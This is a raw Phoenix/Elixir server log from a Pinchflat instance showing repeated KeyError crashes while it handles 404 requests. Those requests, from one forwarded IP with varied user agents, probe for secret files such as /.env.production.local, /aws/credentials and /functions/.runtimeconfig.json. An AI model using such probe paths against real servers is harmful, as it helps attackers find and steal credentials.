:call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9957.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45252}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9957.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45252}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", (truncated) 15:23:47.485 [error] #PID<0.9960.0> running PinchflatWeb.Endpoint (connection #PID<0.9959.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.stage ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9959.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45258}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9960.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.stage", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvByGciK-3cAAI-D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9959.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45258}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9959.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45258}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 15:23:47.692 [info] GET /aws/credentials 15:23:47.692 [info] GET /api/shared/.env 15:23:47.692 [info] GET /functions/.runtimeconfig.json 15:23:47.692 [debug] QUERY OK source="settings" db=0.1ms idle=207.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.692 [debug] QUERY OK source="settings" db=0.2ms idle=207.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.692 [debug] QUERY OK source="settings" db=0.1ms idle=207.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.692 [debug] QUERY OK source="settings" db=0.0ms idle=207.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.692 [debug] QUERY OK source="settings" db=0.0ms idle=63.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.692 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.692 [debug] QUERY OK source="settings" db=0.0ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.693 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.693 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.693 [error] #PID<0.9964.0> running PinchflatWeb.Endpoint (connection #PID<0.9961.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /api/shared/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9961.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9964.0>, params: %{}, path_info: ["api", "shared", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/api/shared/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvzWz4S-SoYAA5KB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9961.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9961.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", (truncated) 15:23:47.693 [error] #PID<0.9966.0> running PinchflatWeb.Endpoint (connection #PID<0.9965.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /functions/.runtimeconfig.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/.runtimeconfig (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9965.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.runtimeconfig.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45278}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9966.0>, params: %{}, path_info: ["functions", ".runtimeconfig"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/functions/.runtimeconfig.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvzaVbUcmHQAA5LB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9965.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.runtimeconfig.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45278}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/.runtimeconfig (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9965.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/functions/.runtimeconfig.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45278}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9966.0>, params: %{}, path_info: ["functions", ".runtimeconfig"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/* (truncated) 15:23:47.693 [error] #PID<0.9963.0> running PinchflatWeb.Endpoint (connection #PID<0.9962.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45268}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9963.0>, params: %{}, path_info: ["aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, 